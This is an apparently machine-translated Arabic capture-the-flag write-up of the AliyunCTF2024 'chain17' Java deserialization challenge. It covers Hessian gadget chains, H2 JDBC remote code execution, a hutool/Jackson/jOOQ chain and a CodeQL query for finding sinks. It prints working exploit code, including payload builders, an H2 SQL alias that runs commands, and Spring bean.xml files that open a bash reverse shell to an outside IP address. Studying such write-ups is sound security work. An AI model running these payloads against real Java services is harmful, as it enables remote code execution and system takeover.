AliyunCTF2024-chain17 شرح مفصل

AliyunCTF2024-chain17 شرح مفصل


الفسفور الابيض الرسمي:https://xz.aliyun.com/t/14190

وحدة Jdk9

تظهر آلية الوحدة في dk9:https://zhuanlan.zhihu.com/p/640217638.

ختاماً:

ينقسم نطاق Java API إلى طرق وفئات وحزم ووحدات (الأعلى). تحتوي الوحدة على الكثير من المعلومات الأساسية:

  • اسم
  • التبعيات على وحدات أخرى
  • واجهة برمجة التطبيقات المفتوحة (البرامج الأخرى موجودة داخل الوحدة ولا يمكن الوصول إليها)
  • الخدمات المستخدمة والمقدمة

ستحتوي كل وحدة على ملف Module-info.java، مثل الوحدة التي يوجد بها TemplatesImpl:

الصورة-20240318164910949.png

java.xml هو اسم الوحدة، وليس بالضرورة نفس اسم الحزمة.

تشير الصادرات إلى حزم الوحدة الحالية التي يمكن الوصول إليها خارجيًا. يشبه إلى حد ما العقدة.

الصادرات…إلى تعني تحديد الحزم التي يمكنها الوصول إلى الحزمة فقط.

يمكن للفصول الموجودة ضمن نفس الوحدة الوصول إلى بعضها البعض.

لم يتم تصدير الحزمة التي يوجد بها TemplatesImpl، لذلك لا يمكننا الوصول إليها.

-الفتحات الإضافية

من خلال إضافة خيار VM أثناء تشغيل البرنامج، يمكنك الوصول إلى الوحدات النمطية التي لا يمكن الوصول إليها بأي طريقة أخرى. قواعد:--add-opens (module)/(package)=module،يحب:--add-opens java.base/java.util.concurrent.atomic=ALL-UNNAMED ، مما يعني أن هناك حزمة معينة ضمن هذه الوحدة مفتوحة لجميع الوحدات غير المسماة. وبشكل عام، توجد الفئات التي لا تحتوي على معلومات الوحدةunnamed module @ xxxxxتحت.

setAccessible

هذا هو ما يجب عليك استخدامه لتعيين الخصائص الخاصة، ولكن في jdk9، هناك خاصية إضافية في setAccessible للتحقق من أذونات الوصول.

الصورة-20240327100005600.png

خلاصة القول، الحالات التالية يمكن الوصول إليها:

  • الوحدة الحالية هي نفس الوحدة التي تمت زيارتها
  • الوحدة الحالية هي java.base
  • الوحدة التي تمت زيارتها هي وحدة غير مسماة
  • الفئة عامة ويتم تصدير الحزمة إلى المتصل
    • العضو عام
    • العضو محمي ثابت
  • الحزمة مفتوحة للمتصل

إلغاء التسلسل

فئة إلغاء التسلسل، لا تتأثر بالوحدة النمطية.

على سبيل المثال، قم بإضافة –add-opens لإجراء تسلسل لـXString في التشغيل الأول وكتابته في ملف. عند التشغيل للمرة الثانية، بدون إضافة –فتح الإضافة، تتم قراءة الملف وتنجح عملية إلغاء التسلسل.

إلغاء التسلسل هسه

وهذا أيضًا جزء مهم من المحتوى.

طريقة الاستخدام الأساسية: عندما يكون الكائن الخارجي الذي تم إلغاء تسلسله عبارة عن خريطة، سيتم استدعاء طريقة وضع الخريطة.

لذلك، يمكن استخدام الأدوات الذكية التي يتم تشغيلها بواسطة put، مثل الاثنين التاليين، وكلاهما يعملان put->toString.

هاشماب+XString.

/*
make map1's hashCode == map2's

map3#readObject
map3#put(map1,1)
map3#put(map2,2)
if map1's hashCode == map2's :
map2#equals(map1)
map2.xString#equals(obj) // obj = map1.get(zZ)
obj.toString
*/
public static HashMap get_HashMap_XString(Object obj) throws Exception{
XString xString = new XString("");
HashMap map1 = new HashMap();
HashMap map2 = new HashMap();
map1.put("yy", xString);
map1.put("zZ",obj);
map2.put("zZ", xString);
HashMap map3 = new HashMap();
map3.put(map1,1);
map3.put(map2,2);

map2.put("yy", obj);
return map3;
}

HashMap+HotSwappableTagetSource+XString

public static HashMap get_HashMap_HotSwappable_XString(Object obj) throws Exception{
XString xString = new XString("");
HotSwappableTargetSource h1 = new HotSwappableTargetSource(10);
HotSwappableTargetSource h2 = new HotSwappableTargetSource(2);

HashMap<Object, Object> map = new HashMap<>();
map.put(h1,"123");
map.put(h2,1);

Util.setFieldValue(h1,"target",obj);
Util.setFieldValue(h2,"target",xString);

return map;
}

لكن هذا السؤال ليس سؤالاً هسيًا عاديًا

<dependency>
<groupId>com.alibaba</groupId>
<artifactId>hessian-lite</artifactId>
<version>3.2.13</version>
</dependency>

هناك قائمة سوداء

الصورة-20240327201924235.png

الصورة-20240327202030397.png

يتم تضمين XStraing أيضًا.

هجوم h2 jdbc

https://xz.aliyun.com/t/13931

قاعدة بيانات h2، إذا كان من الممكن تنفيذ عبارة SQL هذه، فيمكن أن تكون rce.

CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "su18";}';CALL EXEC ('calc')

عندما يتم تحديد عنوان URL الخاص باتصال jdbc على هذا النحو، سيتم تحميل بيان SQL البعيد ثم تنفيذه.

jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8000/poc.sql'

لنأخذ مثالا:

ملف بوم

<dependency>
<groupId>cn.hutool</groupId>
<artifactId>hutool-all</artifactId>
<version>5.8.16</version>
</dependency>
<dependency>
<groupId>com.h2database</groupId>
<artifactId>h2</artifactId>
<version>2.2.224</version>
</dependency>

رئيسي

public static void main(String() args) throws Exception {

String sql = "runscript from 'http://localhost:8000/poc.sql'";
String url = String.format("jdbc:h2:mem:test;init=%s", sql);
PooledDSFactory pooledDSFactory = Util.createWithoutConstructor(PooledDSFactory.class);

Setting setting = new Setting();
setting.setCharset(null);
setting.set("url",url);
Util.setFieldValue(pooledDSFactory,"setting",setting);
HashMap<Object, Object> dsmap = new HashMap<>();
dsmap.put("",null);
Util.setFieldValue(pooledDSFactory,"dsMap",dsmap);

pooledDSFactory.getDataSource().getConnection();

}

فقط قم بتشغيله لتشغيل الآلة الحاسبة.

الصورة-20240327194753585.png

مراقبة الرئيسية. لا توجد حزمة تعتمد على الاستيراد h2. هل يمكن إزالة هذه التبعية؟

PooledDSFactory هي فئة تستخدم لبدء اتصالات قاعدة البيانات في تبعيات hutool، ويلزم وجود برنامج تشغيل للاتصال. يتم وضع برنامج التشغيل في تبعية h2.

لذلك، بعد إزالة تبعية h2، ستتم مطالبتك بعدم العثور على برنامج التشغيل.

JSONObject

cn.hutool.json.JSONObject.

هذه الفئة عبارة عن خريطة. سيتم تشغيل Value.toString عند وضع (مفتاح، قيمة)، ولكن القيمة يجب أن تكون فئة داخلية لجافا.

سيتم إدخال طريقة الوضع هنا.

الصورة-20240327195506184.png

ثم أدخل التفاف.

الصورة-20240327195609424.png

يمكنك أن ترى أن تشغيل toString مشروط أيضًا، أي أنه يجب أن يكون فئة Java داخلية.

مرجع ذري

java.util.concurrent.atomic.AtomicReference

سوف تستدعي طريقة toString لهذه الفئة toString لسمة القيمة الخاصة بها.

الصورة-20240327195835073.png

الصورة-20240327195845383.png

خصائص بوجونود

من المعروفjackson#toStringيمكنك استدعاء getter، ولكن قيمة الإرجاع الخاصة بـ getter، إذا كانت كائنًا، ستستمر في استدعاء getter للكائن.

يخرجBeanPropertyWriter#serializeAsFieldالسطر الأول هو استدعاء getter، والقيمة المرجعة لـ getter هي القيمة

الصورة-20240327200744488.png

لا تزال تستخدم هذه الطريقة، إذا واصلت النزول، ستصل إلى هنا، ويتم تمرير القيمة:

الصورة-20240327200908979.png

استمر في المتابعةserializeFields

الصورة-20240327201009805.png

في هذه الطريقة، تعتبر الدعامة إحدى سمات الكائن، وليس بالضرورة متغير عضو. إذا كانت هناك طريقة getA، ولكن لا توجد سمة A، فسيتم تضمين A أيضًا في الدعامة.

الخطوة التالية هي إدخال serializeAsField الخاص بالخاصية، ثم الاستمرار في استدعاء المُستقبل. لاحظ أن المُحصل في هذا الوقت هو مُحصل القيمة بالفعل.

ClassPathXmlApplicationContext

الصورة-20240327223409361.png

ألق نظرة على wp الرسمي:https://xz.aliyun.com/t/14190

الصورة-20240327204044831.png

الصورة-20240327204011629.png

سلسلة الاتصال:JSONObject.put -> AtomicReference.toString -> POJONode.toString -> Bean.getObject -> DSFactory.getDataSource -> Driver.connect

عندما بدأت القراءة لأول مرة، راودتني بعض الأسئلة:

1. تتم إضافة المعلمة –add-opens عند التشغيل محليًا للوصول إلى الفئات التي لا يمكن الوصول إليها في الأصل. ومع ذلك، عند التشغيل عن بعد، لا توجد طريقة لإضافتها عن بعد. هل يعني ذلك أنه لا يمكن الوصول إلى هذه الفئات عن بعد؟

2. تتم إضافة هذا إلى ملف الإرساء الخاص بالسؤال:--add-opens java.base/java.util.concurrent.atomic=ALL-UNNAMEDوالغرض من ذلك هو السماح للوحدة الحالية بالوصول إلى الوحدات الأخرى. لكن الفئات الأخرى، مثل POJONode، موجودة أيضًا في وحدات أخرى. لماذا يمكن إلغاء تسلسلها بشكل طبيعي دون إضافتها؟

3. لماذا توجد مكالمات متعددة بين JSONObject وPOJONode؟AtomicReference#toString.

4. اكتب PooledDSFactory مباشرة في الحبة. في هذه الحالة، يتم استدعاء readObject الخاص بـ PooledDSFactory. وفقًا لما أفهمه، يجب تغطية PooledDSFactory بطبقة أخرى من readObject->toString->getter، ثم إدراجها في الحبة.

فيما يتعلق بالنقطة الثانية، سوف يستدعي Hessian setAccessible عند إلغاء تسلسل السمات واستعادتها. نظرًا لأن وحدة AtomicReference هي java.base، فلا يمكن الوصول إليها في الأصل، لذلك يجب إضافة –add-opens. بالنسبة للفئات الأخرى مثل POJONode، الوحدة النمطية عبارة عن وحدة نمطية غير مسماة، ويمكن لـ setAccessible المرور، ولا يتحقق إلغاء التسلسل من الوحدة النمطية، لذلك لا بأس بعدم إضافتها.

يمكن الإجابة على جميع الأسئلة الأخرى أعلاه.

أيضًا، عند إنشاء الحمولة محليًا، يمكنك إخراج Base64، ولكن ستكون هناك استثناءات، لكنها لا تؤثر عليها.

الصورة-20240327210133430.png

بحث نقطة الغرق

أولا، عليك أن تعرف ما هي أساليب RCE في جافا.

  • Runtime.getRuntime().exec
  • جديد ProcessBuilder(“”).start()
  • يمكن التحكم في الطريقة رقم الاستدعاء والطريقة والمعلمات
  • تحميل الفئة عن بعد URLClassLoader#loadClass
  • يوجد TemplatesImpl في jdk8، لكنه يختفي بعد jdk9.
  • الإصدار العالي من JDNI وBeanFactory
  • أي مثيل للفئة

عندما قرأت هذا السؤال، لم أتوقع إنشاء مثيل عشوائي للفصل الدراسي. استخدم codeql للتحقق من حزمة jooq. لا يوجد وقت تشغيل، ولا يوجد ProcessBuilder، وبعض أنواع التحميل وطريقة #استدعاء، لكن لا يمكن التحكم فيها. لذلك يمكننا فقط أن نفكر فيما إذا كانت حزمة jooq تحتوي على rce مشابه لـ jdbc وليست ضمن النطاق أعلاه، مثل h2 الذي يستخدمه الوكيل.

ولكن في الواقع، يمكن استخدام ClassPathXmlApplicationContext الجديد. عندما طلب مني Pop استخدام Codeql للبحث عن طريقة NewInstance، تذكرت طريقة RCE هذه. (كانت جهة الاتصال الأولى عبارة عن هجوم inpgsql jdbc)

تعدين كوديكل

تحقق من المثيل الجديد أولاً

الصورة-20240327224618311.png

ثم نحتاج إلى العثور على مسار المُحصل للوصول إلى هذا المثيل الجديد.

/**
@kind path-problem
*/
import java
import semmle.code.java.dataflow.FlowSources

class Source extends Method{
Source(){
this.getDeclaringType().getASupertype*() instanceof TypeSerializable and
this.getName().indexOf("get") = 0 and
this.getName().length() > 3 and
this.isPublic() and
this.fromSource() and
this.hasNoParameters()
and
getDeclaringType().getQualifiedName().matches("%jooq%")
}
}

class Sink extends Method{
Sink(){
exists(MethodAccess ac|
ac.getMethod().getName().matches("%newInstance%")
and
ac.getMethod().getNumberOfParameters() = 1
and
getDeclaringType().getQualifiedName().matches("%jooq%")
and
this = ac.getCaller()
)
and
getDeclaringType().getASupertype*() instanceof TypeSerializable
}
}

query predicate edges(Method a, Method b) {
a.polyCalls(b)and
(a.getDeclaringType().getASupertype*() instanceof TypeSerializable or a.isStatic()) and
(b.getDeclaringType().getASupertype*() instanceof TypeSerializable or b.isStatic())
}

from Source source, Sink sink
where edges+(source, sink)
select source, source, sink, "$@ $@ to $@ $@" ,
source.getDeclaringType(),source.getDeclaringType().getName(),
source,source.getName(),
sink.getDeclaringType(),sink.getDeclaringType().getName(),
sink,sink.getName()

لا توجد نتائج كثيرة، ويمكنك العثور على النتيجة الصحيحة من خلال دمجها مع الفحص اليدوي، أيConvertedVal#getValue -> ConvertAll#fromيمكن أن نرى من الاسم أن الوظائف متشابهة جدًا.

الصورة-20240327225000457.png

هيكل السلسلة

ثم املأ السلسلة في المنتصف

public static void aliyunctf2024_chain17_server_exp() throws Exception{
Object convertedVal = Util.createWithoutConstructor(Class.forName("org.jooq.impl.ConvertedVal"));
Object dataTypeProxy = Util.createWithoutConstructor(Class.forName("org.jooq.impl.DataTypeProxy"));
Object delegate = Util.createWithoutConstructor(Class.forName("org.jooq.impl.Val"));
Object arrayDataType = Util.createWithoutConstructor(Class.forName("org.jooq.impl.ArrayDataType"));
Object name = Util.createWithoutConstructor(Class.forName("org.jooq.impl.UnqualifiedName"));

Object commentImpl = Util.createWithoutConstructor(Class.forName("org.jooq.impl.CommentImpl"));
Util.setFieldValue(commentImpl,"comment","11111");

Util.setFieldValue(delegate,"value","http://192.168.109.1:17878/bean.xml");
Util.setFieldValue(arrayDataType,"uType",ClassPathXmlApplicationContext.class);
Util.setFieldValue(dataTypeProxy,"type",arrayDataType);
Util.setFieldValue(convertedVal,"type",dataTypeProxy);
Util.setFieldValue(convertedVal,"delegate",delegate);
Util.setFieldValue(convertedVal,"name",name);
Util.setFieldValue(convertedVal,"comment",commentImpl);

POJONode pojoNode = Gadget.getPOJONode(convertedVal);
EventListenerList list = new EventListenerList();

UndoManager manager = new UndoManager();
Vector vector = (Vector) Util.getFieldValue(manager, "edits");
vector.add(pojoNode);
Util.setFieldValue(list, "listenerList", new Object(){InternalError.class, manager});

System.out.println(Util.base64Encode(Util.serialize(list)));
}

bean.xml

هذا مقبول

<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:p="http://www.springframework.org/schema/p"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">


<bean id="evil" class="java.lang.String">
<constructor-arg value="#{T(Runtime).getRuntime().exec('bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEyMC43Ni4xMTguMjAyLzE2NjY2IDA+JjE=}|{base64,-d}|{bash,-i}')}"/>
</bean>
</beans>

هذا لا يعمل، لا أعرف لماذا.

<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:p="http://www.springframework.org/schema/p"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">

<bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>/bin/bash</value>
<value>-c</value>
<value>"/bin/bash -i &gt;&amp;/dev/tcp/120.76.118.202/16666 0&gt;&amp;1"</value>
</list>
</constructor-arg>
</bean>
</beans>

الخادم موجود على الشبكة الداخلية ويجب الاتصال به من خلال وكيل. هذه الخطوة مزعجة للغاية. الطريقة الوحيدة التي يمكنني التفكير بها هي كتابة الملف بعد وكيل getshell وإعداد وكيل للاتصال بالإنترانت. وبعد أن جربته واجهتني مشكلة بسيطة، فاتبعت التعليمات الرسمية.

يقوم wp الرسمي بتنفيذ كود Java مباشرة عندما يحصل الوكيل على poc.sql

create alias send as 'int send(String url, String poc) throws java.lang.Exception { java.net.http.HttpRequest request = java.net.http.HttpRequest.newBuilder().uri(new java.net.URI(url)).headers("Content-Type", "application/octet-stream").version(java.net.http.HttpClient.Version.HTTP_1_1).POST(java.net.http.HttpRequest.BodyPublishers.ofString(poc)).build(); java.net.http.HttpClient httpClient = java.net.http.HttpClient.newHttpClient(); httpClient.send(request, java.net.http.HttpResponse.BodyHandlers.ofString()); return 0;}';
call send('http://server:8080/read', '<这里填打 server 的 base64 payload>')

الاستنساخ ناجح.

الصورة-20240327222549299.png

التدوينة شرح تفصيلي لـ AliyunCTF2024-chain17 ظهرت للمرة الأولى على DIGITALIVE.WORLD.

#AliyunCTF2024chain17 #شرح #مفصل

اترك تعليقاً